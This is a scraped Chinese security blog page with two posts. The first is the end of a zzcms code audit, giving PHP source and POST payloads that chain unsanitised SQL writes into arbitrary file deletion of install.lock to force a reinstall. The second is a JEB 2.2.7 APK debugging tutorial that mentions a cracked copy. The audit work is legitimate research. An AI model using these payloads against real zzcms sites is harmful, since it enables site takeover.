<span class="nb">unlink</span><span class="p">(</span><span class="nv">$f</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里有一个任意文件删除的操作,也就是从zzcms_main中查询出来的img字段值做了一个删除操作。但是这个地方的$id虽然我们不能注入,但是是我们可控的,所以我们找一个入库的地方看看。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/user/zssave.php中第107行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">if</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s2">"action"</span><span class="p">]</span><span class="o">==</span><span class="s2">"add"</span><span class="p">){</span>
<span class="nv">$isok</span><span class="o">=</span><span class="nb">mysql_query</span><span class="p">(</span><span class="s2">"Insert into zzcms_main(proname,bigclasszm,smallclasszm,shuxing,szm,prouse,gg,pricels,sm,img,img2,img3,flv,province,city,xiancheng,zc,yq,title,keywords,description,sendtime,timefororder,editor,userid,groupid,qq,comane,renzheng,skin) values('</span><span class="si">$cp_name</span><span class="s2">','</span><span class="si">$bigclassid</span><span class="s2">','</span><span class="si">$smallclassid</span><span class="s2">','</span><span class="si">$shuxing</span><span class="s2">','</span><span class="si">$szm</span><span class="s2">','</span><span class="si">$gnzz</span><span class="s2">','</span><span class="si">$gg</span><span class="s2">','</span><span class="si">$lsj</span><span class="s2">','</span><span class="si">$sm</span><span class="s2">','</span><span class="si">$img1</span><span class="s2">','</span><span class="si">$img2</span><span class="s2">','</span><span class="si">$img3</span><span class="s2">','</span><span class="si">$flv</span><span class="s2">','</span><span class="si">$province</span><span class="s2">','</span><span class="si">$city</span><span class="s2">','</span><span class="si">$xiancheng</span><span class="s2">','</span><span class="si">$zc</span><span class="s2">','</span><span class="si">$yq</span><span class="s2">','</span><span class="si">$title</span><span class="s2">','</span><span class="si">$keyword</span><span class="s2">','</span><span class="si">$discription</span><span class="s2">','"</span><span class="o">.</span><span class="nb">date</span><span class="p">(</span><span class="s1">'Y-m-d H:i:s'</span><span class="p">)</span><span class="o">.</span><span class="s2">"','</span><span class="si">$TimeNum</span><span class="s2">','</span><span class="si">$username</span><span class="s2">','</span><span class="si">$userid</span><span class="s2">','</span><span class="si">$groupid</span><span class="s2">','</span><span class="si">$qq</span><span class="s2">','</span><span class="si">$comane</span><span class="s2">','</span><span class="si">$renzheng</span><span class="s2">','</span><span class="si">$skin</span><span class="s2">')"</span><span class="p">)</span> <span class="p">;</span>
<span class="nv">$cpid</span><span class="o">=</span><span class="nb">mysql_insert_id</span><span class="p">();</span>
<span class="p">}</span><span class="k">elseif</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s2">"action"</span><span class="p">]</span><span class="o">==</span><span class="s2">"modify"</span><span class="p">){</span>
<span class="nv">$oldimg1</span><span class="o">=</span><span class="nb">trim</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s2">"oldimg1"</span><span class="p">]);</span>
<span class="nv">$oldimg2</span><span class="o">=</span><span class="nb">trim</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s2">"oldimg2"</span><span class="p">]);</span>
<span class="nv">$oldimg3</span><span class="o">=</span><span class="nb">trim</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s2">"oldimg3"</span><span class="p">]);</span>
<span class="nv">$oldflv</span><span class="o">=</span><span class="nb">trim</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s2">"oldflv"</span><span class="p">]);</span>
<span class="nv">$isok</span><span class="o">=</span><span class="nb">mysql_query</span><span class="p">(</span><span class="s2">"update zzcms_main set proname='</span><span class="si">$cp_name</span><span class="s2">',bigclasszm='</span><span class="si">$bigclassid</span><span class="s2">',smallclasszm='</span><span class="si">$smallclassid</span><span class="s2">',shuxing='</span><span class="si">$shuxing</span><span class="s2">',szm='</span><span class="si">$szm</span><span class="s2">',prouse='</span><span class="si">$gnzz</span><span class="s2">',gg='</span><span class="si">$gg</span><span class="s2">',pricels='</span><span class="si">$lsj</span><span class="s2">',sm='</span><span class="si">$sm</span><span class="s2">',img='</span><span class="si">$img1</span><span class="s2">',img2='</span><span class="si">$img2</span><span class="s2">',img3='</span><span class="si">$img3</span><span class="s2">',flv='</span><span class="si">$flv</span><span class="s2">',province='</span><span class="si">$province</span><span class="s2">',city='</span><span class="si">$city</span><span class="s2">',xiancheng='</span><span class="si">$xiancheng</span><span class="s2">',zc='</span><span class="si">$zc</span><span class="s2">',yq='</span><span class="si">$yq</span><span class="s2">',title='</span><span class="si">$title</span><span class="s2">',keywords='</span><span class="si">$keyword</span><span class="s2">',description='</span><span class="si">$discription</span><span class="s2">',sendtime='"</span><span class="o">.</span><span class="nb">date</span><span class="p">(</span><span class="s1">'Y-m-d H:i:s'</span><span class="p">)</span><span class="o">.</span><span class="s2">"',timefororder='</span><span class="si">$TimeNum</span><span class="s2">',editor='</span><span class="si">$username</span><span class="s2">',userid='</span><span class="si">$userid</span><span class="s2">',groupid='</span><span class="si">$groupid</span><span class="s2">',qq='</span><span class="si">$qq</span><span class="s2">',comane='</span><span class="si">$comane</span><span class="s2">',renzheng='</span><span class="si">$renzheng</span><span class="s2">',skin='</span><span class="si">$skin</span><span class="s2">',passed=0 where id='</span><span class="si">$cpid</span><span class="s2">'"</span><span class="p">);</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到对应着action的不同,sql语句也不同,第一个是Insert,第二个update。我们看到在两个sql语句中都有img这个字段。并且相对应的的值$img1也是我们可控的:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nv">$img1</span><span class="o">=</span><span class="nv">$_POST</span><span class="p">[</span><span class="s2">"img1"</span><span class="p">];</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其次就是对于update语句,我们还能控制update哪一行,因为主键id的值也是我们可控的:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nv">$cpid</span><span class="o">=</span><span class="nv">$_POST</span><span class="p">[</span><span class="s2">"ypid"</span><span class="p">];</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">所以结合上面所说,我们能够控制任意zzcms_main表中任意一行img字段的值,所以说我们能够删除任意文件。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">漏洞利用:<br /></span>
<span class="md_line">首先为了防止zzcms_main表中没有任何数据,所以我们首先进行一个增加数据的操作:<br /></span>
<span class="md_line md_line_end">payload:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nx">http</span><span class="o">://</span><span class="nx">localhost</span><span class="o">/</span><span class="nx">user</span><span class="o">/</span><span class="nx">zssave</span><span class="o">.</span><span class="nx">php</span>
<span class="nx">POST</span><span class="o">:</span> <span class="nx">action</span><span class="o">=</span><span class="nx">add</span><span class="o">&</span><span class="nx">img1</span><span class="o">=</span><span class="mi">1</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后我们开始更新第一行的img字段的值,payload:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nx">http</span><span class="o">://</span><span class="nx">localhost</span><span class="o">/</span><span class="nx">user</span><span class="o">/</span><span class="nx">zssave</span><span class="o">.</span><span class="nx">php</span>
<span class="nx">POST</span><span class="o">:</span> <span class="nx">action</span><span class="o">=</span><span class="nx">modify</span><span class="o">&</span><span class="nx">img1</span><span class="o">=/</span><span class="nx">install</span><span class="o">/</span><span class="nx">install</span><span class="o">.</span><span class="nx">lock</span><span class="o">&</span><span class="nx">ypid</span><span class="o">=</span><span class="mi">1</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后我们再进行删除操作:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nx">http</span><span class="o">://</span><span class="nx">localhost</span><span class="o">/</span><span class="nx">user</span><span class="o">/</span><span class="nx">delimg</span><span class="o">.</span><span class="nx">php</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">POST: action=1&id=1<br /></span>
<span class="md_line md_line_end">就能删除掉install.lock文件啦。然后开始重装:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/代码审计/_image/2016-11-30/21-53-10.jpg" alt="" title="" ></span>
</p>
jeb2.2.7动态调试apk
2016-11-27T10:43:00Z
android/2016-11-27
Balis0ng's blog
<h2 id="toc_0" class="h16">关于jeb</h2>
<p class="md_block">
<span class="md_line md_line_start"> JEB是Android应用静态分析的de facto standard,除去准确的反编译结果、高容错性之外,JEB提供的API也方便了我们编写插件对源文件进行处理,实施反混淆甚至一些更高级的应用分析来方便后续的人工分析.jeb凭借其牛X的保护措施和高昂的售价,使得诸多普通逆向爱好者望而却步。<br /></span>
<span class="md_line md_line_end"> 不过最近国内一些论坛爆出了jeb的2.2.7破解版本。据说jeb从2.2开始就支持动态调试了,在没有这个之前,我一直用的androidstudio+smalidea来进行调试的,比较麻烦。试用了一下jeb的动态调试功能表示很不错。</span>
</p>
<h2 id="toc_1" class="h16">如何动态调试</h2>
<p class="md_block">
<span class="md_line md_line_start"> 其实很简单,不过其中有几个小细节需要注意,首先打开我们的jeb,将apk拖入jeb,如图:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/android/../image/jeb.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before">我们双击一下<strong>Bytecode</strong>。然后会出来两个窗口,一个是smali代码的窗口,一个是apk的结构,如图:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/android/../image/jeb1.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before">然后我们双击一个类,就可以调到该类的smali代码,如图,我双击KeyListener这个类:<img class="md_compiled " src="/android/../image/jeb2.jpg" alt="" title="" ><br /></span>
<span class="md_line">就会自动跳转,这个时候按一下快捷键<strong>q</strong>就能反编译成伪代码,如图:<img class="md_compiled " src="/android/../image/jeb3.jpg" alt="" title="" ><br /></span>
<span class="md_line">然后我们回到smali代码找个地方按<strong>ctrl+B</strong>下断点(取消断点也是改快捷方式),如图:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/android/../image/jeb4.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before">然后我们开始debug,点击这个按钮:<img class="md_compiled " src="/android/../image/jeb5.jpg" alt="" title="" ><br /></span>
<span class="md_line">然后出现选择如图所示,选择<strong>设备</strong>和<strong>进程</strong>,带<strong>D</strong>的就是该apk的进程<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/android/../image/jeb6.jpg" alt="" title="" ><br /></span>
<span class="md_line md_line_dom_embed img_before only_img_before"><strong>注意:此时不要开启ddms,不然会出错的</strong><br /></span>
<span class="md_line">然后点击attach,不出意外就能成功attach上了。<br /></span>
<span class="md_line">然后我们触发断点:<br /></span>
<span class="md_line">像这样,就说明成功触发了:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/android/../image/jeb7.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before">这个时候我们查看<strong>VM/Breakpoints</strong>这个窗口,就能看到变量的值了,但是这里有个小问题,可以看到v3这个地方应该是个字符串,但是显示的确实数字:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/android/../image/jeb8.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before">所以这个时候我们需要自己动手改一下啦,将int改为string,就能够正常显示啦!<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/android/../image/jeb9.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before md_line_end">可以看到自动显示了我们输入的字符串为balisong</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">这里比较方便的是,从伪代码也能看到该变量的值。<br /></span>
<span class="md_line">然后其余的比如<strong>F6</strong>可以单步步入,从上面菜单可以看到debug的功能。这里就不赘述了。<br /></span>
<span class="md_line">至于软件的下载方式,大家搜一搜,就能找到的。<br /></span>
<span class="md_line md_line_end">好了,就到这里。</span>
</p>